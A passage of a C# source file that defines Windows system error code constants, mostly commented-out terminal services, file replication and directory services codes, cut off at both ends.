ERROR_TRANSACTION_ALREADY_COMMITTED = 6705;\n\n      /// <summary>(6800) The function attempted to use a name\n      /// <para>that is reserved for use by another transaction.</para>\n      /// </summary>\n      public const uint ERROR_TRANSACTIONAL_CONFLICT = 6800;\n\n      /// <summary>(6805) The remote server or share does not support transacted file operations.</summary>\n      public const uint ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805;\n\n      //public const uint ERROR_CTX_WINSTATION_NAME_INVALID = 7001;\n      //public const uint ERROR_CTX_INVALID_PD = 7002;\n      //public const uint ERROR_CTX_PD_NOT_FOUND = 7003;\n      //public const uint ERROR_CTX_WD_NOT_FOUND = 7004;\n      //public const uint ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005;\n      //public const uint ERROR_CTX_SERVICE_NAME_COLLISION = 7006;\n      //public const uint ERROR_CTX_CLOSE_PENDING = 7007;\n      //public const uint ERROR_CTX_NO_OUTBUF = 7008;\n      //public const uint ERROR_CTX_MODEM_INF_NOT_FOUND = 7009;\n      //public const uint ERROR_CTX_INVALID_MODEMNAME = 7010;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_ERROR = 7011;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_BUSY = 7015;\n      //public const uint ERROR_CTX_MODEM_RESPONSE_VOICE = 7016;\n      //public const uint ERROR_CTX_TD_ERROR = 7017;\n      //public const uint ERROR_CTX_WINSTATION_NOT_FOUND = 7022;\n      //public const uint ERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023;\n      //public const uint ERROR_CTX_WINSTATION_BUSY = 7024;\n      //public const uint ERROR_CTX_BAD_VIDEO_MODE = 7025;\n      //public const uint ERROR_CTX_GRAPHICS_INVALID = 7035;\n      //public const uint ERROR_CTX_LOGON_DISABLED = 7037;\n      //public const uint ERROR_CTX_NOT_CONSOLE = 7038;\n      //public const uint ERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040;\n      //public const uint ERROR_CTX_CONSOLE_DISCONNECT = 7041;\n      //public const uint ERROR_CTX_CONSOLE_CONNECT = 7042;\n      //public const uint ERROR_CTX_SHADOW_DENIED = 7044;\n      //public const uint ERROR_CTX_WINSTATION_ACCESS_DENIED = 7045;\n      //public const uint ERROR_CTX_INVALID_WD = 7049;\n      //public const uint ERROR_CTX_SHADOW_INVALID = 7050;\n      //public const uint ERROR_CTX_SHADOW_DISABLED = 7051;\n      //public const uint ERROR_CTX_CLIENT_LICENSE_IN_USE = 7052;\n      //public const uint ERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053;\n      //public const uint ERROR_CTX_LICENSE_NOT_AVAILABLE = 7054;\n      //public const uint ERROR_CTX_LICENSE_CLIENT_INVALID = 7055;\n      //public const uint ERROR_CTX_LICENSE_EXPIRED = 7056;\n      //public const uint ERROR_CTX_SHADOW_NOT_RUNNING = 7057;\n      //public const uint ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058;\n      //public const uint ERROR_ACTIVATION_COUNT_EXCEEDED = 7059;\n      //public const uint FRS_ERR_INVALID_API_SEQUENCE = 8001;\n      //public const uint FRS_ERR_STARTING_SERVICE = 8002;\n      //public const uint FRS_ERR_STOPPING_SERVICE = 8003;\n      //public const uint FRS_ERR_INTERNAL_API = 8004;\n      //public const uint FRS_ERR_INTERNAL = 8005;\n      //public const uint FRS_ERR_SERVICE_COMM = 8006;\n      //public const uint FRS_ERR_INSUFFICIENT_PRIV = 8007;\n      //public const uint FRS_ERR_AUTHENTICATION = 8008;\n      //public const uint FRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009;\n      //public const uint FRS_ERR_PARENT_AUTHENTICATION = 8010;\n      //public const uint FRS_ERR_CHILD_TO_PARENT_COMM = 8011;\n      //public const uint FRS_ERR_PARENT_TO_CHILD_COMM = 8012;\n      //public const uint FRS_ERR_SYSVOL_POPULATE = 8013;\n      //public const uint FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014;\n      //public const uint FRS_ERR_SYSVOL_IS_BUSY = 8015;\n      //public const uint FRS_ERR_SYSVOL_DEMOTE = 8016;\n      //public const uint FRS_ERR_INVALID_SERVICE_PARAMETER = 8017;\n      //public const uint ERROR_DS_NOT_INSTALLED = 8200;\n      //public const uint ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201;\n      //public const uint ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202;\n      //public const uint ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203;\n      //public const uint ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204;\n      //public const uint ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205;\n      //public const uint ERROR_DS_BUSY = 8206;\n      //public const uint ERROR_DS_UNAVAILABLE = 8207;\n      //public const uint ERROR_DS_NO_RIDS_ALLOCATED = 8208;\n      //public const uint ERROR_DS_NO_MORE_RIDS = 8209;\n      //public const uint ERROR_DS_INCORRECT_ROLE_OWNER = 8210;\n      //public const uint ERROR_DS_RIDMGR_INIT_ERROR = 8211;\n      //public const uint ERROR_DS_OBJ_CLASS_VIOLATION = 8212;\n      //public const uint ERROR_DS_CANT_ON_NON_LEAF = 8213;\n      //public const uint ERROR_DS_CANT_ON_RDN = 8214;\n      //public const uint ERROR_DS_CANT_MOD_OBJ_CLASS = 8215;\n      //public const uint ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216;\n      //public const uint ERROR_DS_GC_NOT_AVAILABLE = 8217;\n      //public const uint ERROR_SHARED_POLICY = 8218;\n      //public const uint ERROR_POLICY_OBJECT_NOT_FOUND = 8219;\n      //public const uint ERROR_POLICY_ONLY_IN_DS = 8220;\n      //public const uint ERROR_PROMOTION_ACTIVE = 8221;\n      //public const uint ERROR_NO_PROMOTION_ACTIVE = 8222;\n      //public const uint ERROR_DS_OPERATIONS_ERROR = 8224;\n      //public const uint ERROR_DS_PROTOCOL_ERROR = 8225;\n      //public const uint ERROR_DS_TIMELIMIT_EXCEEDED = 8226;\n      //public const uint ERROR_DS_SIZELIMIT_EXCEEDED = 8227;\n      //public const uint ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228;\n      //public const uint ERROR_DS_COMPARE_FALSE = 8229;\n      //public const uint ERROR_DS_COMPARE_TRUE = 8230;\n      //public const uint ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231;\n      //public const uint ERROR_DS_STRONG_AUTH_REQUIRED = 8232;\n      //public const uint ERROR_DS_INAPPROPRIATE_AUTH = 8233;\n      //public const uint ERROR_DS_AUTH_UNKNOWN = 8234;\n      //public const uint ERROR_DS_REFERRAL = 8235;\n      //public const uint ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236;\n      //public const uint ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237;\n      //public const uint ERROR_DS_INAPPROPRIATE_MATCHING = 8238;\n      //public const uint ERROR_DS_CONSTRAINT_VIOLATION = 8239;\n      //public const uint ERROR_DS_NO_SUCH_OBJECT = 8240;\n      //public const uint ERROR_DS_ALIAS_PROBLEM = 8241;\n      //public const uint ERROR_DS_INVALID_DN_SYNTAX = 8242;\n      //public const uint ERROR_DS_IS_LEAF = 8243;\n      //public const uint ERROR_DS_ALIAS_DEREF_PROBLEM = 8244;\n      //public const uint ERROR_DS_UNWILLING_TO_PERFORM = 8245;\n      //public const uint ERROR_DS_LOOP_DETECT = 8246;\n      //public const uint ERROR_DS_NAMING_VIOLATION = 8247;\n      //public const uint ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248;\n      //public const uint ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249;\n      //public const uint ERROR_DS_SERVER_DOWN = 8250;\n      //public const uint ERROR_DS_LOCAL_ERROR = 8251;\n      //public const uint ERROR_DS_ENCODING_ERROR = 8252;\n      //public const uint ERROR_DS_DECODING_ERROR = 8253;\n      //public const uint ERROR_DS_FILTER_UNKNOWN = 8254;\n      //public const uint ERROR_DS_PARAM_ERROR = 8255;\n      //public const uint ERROR_DS_NOT_SUPPORTED = 8256;\n      //public const uint ERROR_DS_NO_RESULTS_RETURNED = 8257;\n      //public const uint ERROR_DS_CONTROL_NOT_FOUND = 8258;\n      //public const uint ERROR_DS_CLIENT_LOOP = 8259;\n      //public const uint ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260;\n      //public const uint ERROR_DS_SORT_CONTROL_MISSING = 8261;\n      //public const uint ERROR_DS_OFFSET_RANGE_ERROR = 8262;\n      //public const uint ERROR_DS_ROOT_MUST_BE_NC = 8301;\n      //public const uint ERROR_DS_ADD_REPLICA_INHIBITED = 8302;\n      //public const uint ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303;\n      //public const uint ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304;\n      //public const uint ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305;\n      //public const uint ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306;\n      //public const uint ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307;\n      //public const uint ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308;\n      //public const uint ERROR_DS_USER_BUFFER_TO_SMALL = 8309;\n      //public const uint ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310;\n      //public const uint ERROR_DS_ILLEGAL_MOD_OPERATION = 8311;\n      //public const uint ERROR_DS_OBJ_TOO_LARGE = 8312;\n      //public const uint ERROR_DS_BAD_INSTANCE_TYPE = 8313;\n      //public const uint ERROR_DS_MASTERDSA_REQUIRED = 8314;\n      //public const uint ERROR_DS_OBJECT_CLASS_REQUIRED = 8315;\n      //public const uint ERROR_DS_MISSING_REQUIRED_ATT = 8316;\n      //public const uint ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317;\n      //public const uint ERROR_DS_ATT_ALREADY_EXISTS = 8318;\n      //public const uint ERROR_DS_CANT_ADD_ATT_VALUES = 8320;\n      //public const uint ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321;\n      //public const uint ERROR_DS_RANGE_CONSTRAINT = 8322;\n      //public const uint ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323;\n      //public const uint ERROR_DS_CANT_REM_MISSING_ATT = 8324;\n      //public const uint ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325;\n      //public const uint ERROR_DS_ROOT_CANT_BE_SUBREF = 8326;\n      //public const uint ERROR_DS_NO_CHAINING = 8327;\n      //public const uint ERROR_DS_NO_CHAINED_EVAL = 8328;\n      //public const uint ERROR_DS_NO_PARENT_OBJECT = 8329;\n      //public const uint ERROR_DS_PARENT_IS_AN_ALIAS = 8330;\n      //public const uint ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331;\n      //public const uint ERROR_DS_CHILDREN_EXIST = 8332;\n      //public const uint ERROR_DS_OBJ_NOT_FOUND = 8333;\n      //public const uint ERROR_DS_ALIASED_OBJ_MISSING = 8334;\n      //public const uint ERROR_DS_BAD_NAME_SYNTAX = 8335;\n      //public const uint ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336;\n      //public const uint ERROR_DS_CANT_DEREF_ALIAS = 8337;\n      //public const uint ERROR_DS_OUT_OF_SCOPE = 8338;\n      //public const uint ERROR_DS_OBJECT_BEING_REMOVED = 8339;\n      //public const uint ERROR_DS_CANT_DELETE_DSA_OBJ = 8340;\n      //public const uint ERROR_DS_GENERIC_ERROR = 8341;\n      //public const uint ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342;\n      //public const uint ERROR_DS_CLASS_NOT_DSA = 8343;\n      //public const uint ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344;\n      //public const uint ERROR_DS_ILLEGAL_SUPERIOR = 8345;\n      //public const uint ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346;\n      //public const uint ERROR_DS_NAME_TOO_MANY_PARTS = 8347;\n      //public const uint ERROR_DS_NAME_TOO_LONG = 8348;\n      //public const uint ERROR_DS_NAME_VALUE_TOO_LONG = 8349;\n      //public const uint ERROR_DS_NAME_UNPARSEABLE = 8350;\n      //public const uint ERROR_DS_NAME_TYPE_UNKNOWN = 8351;\n      //public const uint ERROR_DS_NOT_AN_OBJECT = 8352;\n      //public const uint ERROR_DS_SEC_DESC_TOO_SHORT = 8353;\n      //public const uint ERROR_DS_SEC_DESC_INVALID = 8354;\n      //public const uint ERROR_DS_NO_DELETED_NAME = 8355;\n      //public const uint ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356;\n      //public const uint ERROR_DS_NCNAME_MUST_BE_NC = 8357;\n      //public const uint ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358;\n      //public const uint ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359;\n      //public const uint ERROR_DS_INVALID_DMD = 8360;\n      //public const uint ERROR_DS_OBJ_GUID_EXISTS = 8361;\n      //public const uint ERROR_DS_NOT_ON_BACKLINK = 8362;\n      //public const uint ERROR_DS_NO_CROSSREF_FOR_NC = 8363;\n      //public const uint ERROR_DS_SHUTTING_DOWN = 8364;\n      //public const uint ERROR_DS_UNKNOWN_OPERATION = 8365;\n      //public const uint ERROR_DS_INVALID_ROLE_OWNER = 8366;\n      //public const uint ERROR_DS_COULDNT_CONTACT_FSMO = 8367;\n      //public const uint ERROR_DS_CROSS_NC_DN_RENAME = 8368;\n      //public const uint ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369;\n      //public const uint ERROR_DS_REPLICATOR_ONLY = 8370;\n      //public const uint ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371;\n      //public const uint ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372;\n      //public const uint ERROR_DS_NAME_REFERENCE_INVALID = 8373;\n      //public const uint ERROR_DS_CROSS_REF_EXISTS = 8374;\n      //public const uint ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375;\n      //public const uint ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376;\n      //public const uint ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377;\n      //public const uint ERROR_DS_DUP_RDN = 8378;\n      //public const uint ERROR_DS_DUP_OID = 8379;\n      //public const uint ERROR_DS_DUP_MAPI_ID = 8380;\n      //public const uint ERROR_DS_DUP_SCHEMA_ID_GUID = 8381;\n      //public const uint ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382;\n      //public const uint ERROR_DS_SEMANTIC_ATT_TEST = 8383;\n      //public const uint ERROR_DS_SYNTAX_MISMATCH = 8384;\n      //public const uint ERROR_DS_EXISTS_IN_MUST_HAVE = 8385;\n      //public const uint ERROR_DS_EXISTS_IN_MAY_HAVE = 8386;\n      //public const uint ERROR_DS_NONEXISTENT_MAY_HAVE = 8387;\n      //public const uint ERROR_DS_NONEXISTENT_MUST_HAVE = 8388;\n      //public const uint ERROR_DS_AUX_CLS_TEST_FAIL = 8389;\n      //public const uint ERROR_DS_NONEXISTENT_POSS_SUP = 8390;\n      //public const uint ERROR_DS_SUB_CLS_TEST_FAIL = 8391;\n      //public const uint ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392;\n      //public const uint ERROR_DS_EXISTS_IN_AUX_CLS = 8393;\n      //public const uint ERROR_DS_EXISTS_IN_SUB_CLS = 8394;\n      //public const uint ERROR_DS_EXISTS_IN_POSS_SUP = 8395;\n      //public const uint ERROR_DS_RECALCSCHEMA_FAILED = 8396;\n      //public const uint ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397;\n      //public const uint ERROR_DS_CANT_DELETE = 8398;\n      //public const uint ERROR_DS_ATT_SCHEMA_REQ_ID = 8399;\n      //public const uint ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400;\n      //public const uint ERROR_DS_CANT_CACHE_ATT = 8401;\n      //public const uint ERROR_DS_CANT_CACHE_CLASS = 8402;\n      //public const uint ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403;\n      //public const uint ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404;\n      //public const uint ERROR_DS_CANT_RETRIEVE_DN = 8405;\n      //public const uint ERROR_DS_MISSING_SUPREF = 8406;\n      //public const uint ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407;\n      //public const uint ERROR_DS_CODE_INCONSISTENCY = 8408;\n      //public const uint ERROR_DS_DATABASE_ERROR = 8409;\n      //public const uint ERROR_DS_GOVERNSID_MISSING = 8410;\n      //public const uint ERROR_DS_MISSING_EXPECTED_ATT = 8411;\n      //public const uint ERROR_DS_NCNAME_MISSING_CR_REF = 8412;\n      //public const uint ERROR_DS_SECURITY_CHECKING_ERROR = 8413;\n      //public const uint ERROR_DS_SCHEMA_NOT_LOADED = 8414;\n      //public const uint ERROR_DS_SCHEMA_ALLOC_FAILED = 8415;\n      //public const uint ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416;\n      //public const uint ERROR_DS_GCVERIFY_ERROR = 8417;\n      //public const uint ERROR_DS_DRA_SCHEMA_MISMATCH = 8418;\n      //public const uint ERROR_DS_CANT_FIND_DSA_OBJ = 8419;\n      //public const uint ERROR_DS_CANT_FIND_EXPECTED_NC = 8420;\n      //public const uint ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421;\n      //public const uint ERROR_DS_CANT_RETRIEVE_CHILD = 8422;\n      //public const uint ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423;\n      //public const uint ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424;\n      //public const uint ERROR_DS_BAD_HIERARCHY_FILE = 8425;\n      //public const uint ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426;\n      //public const uint ERROR_DS_CONFIG_PARAM_MISSING = 8427;\n      //public const uint ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428;\n      //public const uint ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429;\n      //public const uint ERROR_DS_INTERNAL_FAILURE = 8430;\n      //public const uint ERROR_DS_UNKNOWN_ERROR = 8431;\n      //public const uint ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432;\n      //public const uint ERROR_DS_REFUSING_FSMO_ROLES = 8433;\n      //public const uint ERROR_DS_MISSING_FSMO_SETTINGS = 8434;\n      //public const uint ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435;\n      //public const uint ERROR_DS_DRA_GENERIC = 8436;\n      //public const uint ERROR_DS_DRA_INVALID_PARAMETER = 8437;\n      //public const uint ERROR_DS_DRA_BUSY = 8438;\n      //public const uint ERROR_DS_DRA_BAD_DN = 8439;\n      //public const uint ERROR_DS_DRA_BAD_NC = 8440;\n      //public const uint ERROR_DS_DRA_DN_EXISTS = 8441;\n      //public const uint ERROR_DS_DRA_INTERNAL_ERROR = 8442;\n      //public const uint ERROR_DS_DRA_INCONSISTENT_DIT = 8443;\n      //public const uint ERROR_DS_DRA_CONNECTION_FAILED = 8444;\n      //public const uint ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445;\n      //public const uint ERROR_DS_DRA_OUT_OF_MEM = 8446;\n      //public const uint ERROR_DS_DRA_MAIL_PROBLEM = 8447;\n      //public const uint ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448;\n      //public const uint ERROR_DS_DRA_REF_NOT_FOUND = 8449;\n      //public const uint ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450;\n      //public const uint ERROR_DS_DRA_DB_ERROR = 8451;\n      //public const uint ERROR_DS_DRA_NO_REPLICA = 8452;\n      //public const uint ERROR_DS_DRA_ACCESS_DENIED = 8453;\n      //public const uint ERROR_DS_DRA_NOT_SUPPORTED = 8454;\n      //public const uint ERROR_DS_DRA_RPC_CANCELLED = 8455;\n      //public const uint ERROR_DS_DRA_SOURCE_DISABLED = 8456;\n      //public const uint ERROR_DS_DRA_SINK_DISABLED = 8457;\n      //public const uint ERROR_DS_DRA_NAME_COLLISION = 8458;\n      //public const uint ERROR_DS_DRA_SOURCE_REINSTALLED = 8459;\n      //public const uint ERROR_DS_DRA_MISSING_PARENT = 8460;\n      //public const uint ERROR_DS_DRA_PREEMPTED = 8461;\n      //public const uint ERROR_DS_DRA_ABANDON_SYNC = 8462;\n      //public const uint ERROR_DS_DRA_SHUTDOWN = 8463;\n      //public const uint ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464;\n      //public const uint ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465;\n      //public const uint ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466;\n      //public const uint ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467;\n      //public const uint ERROR_DS_DUP_LINK_ID = 8468;\n      //public const uint ERROR_DS_NAME_ERROR_RESOLVING = 8469;\n      //public const uint ERROR_DS_NAME_ERROR_NOT_FOUND = 8470;\n      //public const uint ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471;\n      //public const uint ERROR_DS_NAME_ERROR_NO_MAPPING = 8472;\n      //public const uint ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473;\n      //public const uint ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474;\n      //public const uint ERROR_DS_CONSTRUCTED_ATT_MOD = 8475;\n      //public const uint ERROR_DS_WRONG_OM_OBJ_CLASS = 8476;\n      //public const uint ERROR_DS_DRA_REPL_PENDING = 8477;\n      //public const uint ERROR_DS_DS_REQUIRED = 8478;\n      //public const uint ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479;\n      //public const uint ERROR_DS_NON_BASE_SEARCH = 8480;\n      //public const uint ERROR_DS_CANT_RETRIEVE_ATTS = 8481;\n      //public const uint ERROR_DS_BACKLINK_WITHOUT_LINK = 8482;\n      //public const uint ERROR_DS_EPOCH_MISMATCH = 8483;\n      //public const uint ERROR_DS_SRC_NAME_MISMATCH = 8484;\n      //public const uint ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485;\n      //public const uint ERROR_DS_DST_NC_MISMATCH = 8486;\n      //public const uint ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487;\n      //public const uint ERROR_DS_SRC_GUID_MISMATCH = 8488;\n      //public const uint ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489;\n      //public const uint ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490;\n      //public const uint ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491;\n      //public const uint ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492;\n      //public const uint ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493;\n      //public const uint ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494;\n      //public const uint ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495;\n      //public const uint ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496;\n      //public const uint ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497;\n      //public const uint ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498;\n      //public const uint ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499;\n      //public const uint ERROR_DS_INVALID_SEARCH_FLAG = 8500;\n      //public const uint ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501;\n      //public const uint ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502;\n      //public const uint ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503;\n      //public const uint ERROR_DS_SAM_INIT_FAILURE = 8504;\n      //public const uint ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505;\n      //public const uint ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506;\n      //public const uint ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507;\n      //public const uint ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508;\n      //public const uint ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509;\n      //public const uint ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510;\n      //public const uint ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511;\n      //public const uint ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512;\n      //public const uint ERROR_DS_INVALID_GROUP_TYPE = 8513;\n      //public const uint ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514;\n      //public const uint ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515;\n      //public const uint ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516;\n      //public const uint ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517;\n      //public const uint ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518;\n      //public const uint ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519;\n      //public const uint ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520;\n      //public const uint ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521;\n      //public const uint ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522;\n      //public const uint ERROR_DS_NAMING_MASTER_GC = 8523;\n      //public const uint ERROR_DS_DNS_LOOKUP_FAILURE = 8524;\n      //public const uint ERROR_DS_COULDNT_UPDATE_SPNS = 8525;\n      //public const uint ERROR_DS_CANT_RETRIEVE_SD = 8526;\n      //public const uint ERROR_DS_KEY_NOT_UNIQUE = 8527;\n      //public const uint ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528;\n      //public const uint ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529;\n      //public const uint ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530;\n      //public const uint ERROR_DS_CANT_START = 8531;\n      //public const uint ERROR_DS_INIT_FAILURE = 8532;\n      //public const uint ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533;\n      //public const uint ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534;\n      //public const uint ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535;\n      //public const uint ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536;\n      //public const uint ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537;\n      //public const uint ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538;\n      //public const uint ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539;\n      //public const uint ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540;\n      //public const uint ERROR_SAM_INIT_FAILURE = 8541;\n      //public const uint ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542;\n      //public const uint ERROR_DS_DRA_SCHEMA_CONFLICT = 8543;\n      //public const uint ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544;\n      //public const uint ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545;\n      //public const uint ERROR_DS_NC_STILL_HAS_DSAS = 8546;\n      //public const uint ERROR_DS_GC_REQUIRED = 8547;\n      //public const uint ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548;\n      //public const uint ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549;\n      //public const uint ERROR_DS_CANT_ADD_TO_GC = 8550;\n      //public const uint ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551;\n      //public const uint ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552;\n      //public const uint ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553;\n      //public const uint ERROR_DS_INVALID_NAME_FOR_SPN = 8554;\n      //public const uint ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555;\n      //public const uint ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556;\n      //public const uint ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557;\n      //public const uint ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558;\n      //public const uint ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559;\n      //public const uint ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560;\n      //public const uint ERROR_DS_INIT_FAILURE_CONSOLE = 8561;\n      //public const uint ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562;\n      //public const uint ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563;\n      //public const uint ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564;\n      //public const uint ERROR_DS_FOREST_VERSION_TOO_LOW = 8565;\n      //public const uint ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566;\n      //public const uint ERROR_DS_INCOMPATIBLE_VERSION = 8567;\n      //public const uint ERROR_DS_LOW_DSA_VERSION = 8568;\n      //public const uint ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569;\n      //public const uint ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570;\n      //public const uint ERROR_DS_NAME_NOT_UNIQUE = 8571;\n      //public const uint ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572;\n      //public const uint ERROR_DS_OUT_OF_VERSION_STORE = 8573;\n      //public const uint ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574;\n      //public const uint ERROR_DS_NO_REF_DOMAIN = 8575;\n      //public const uint ERROR_DS_RESERVED_LINK_ID = 8576;\n      //public const uint ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577;\n      //public const uint ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578;\n      //public const uint 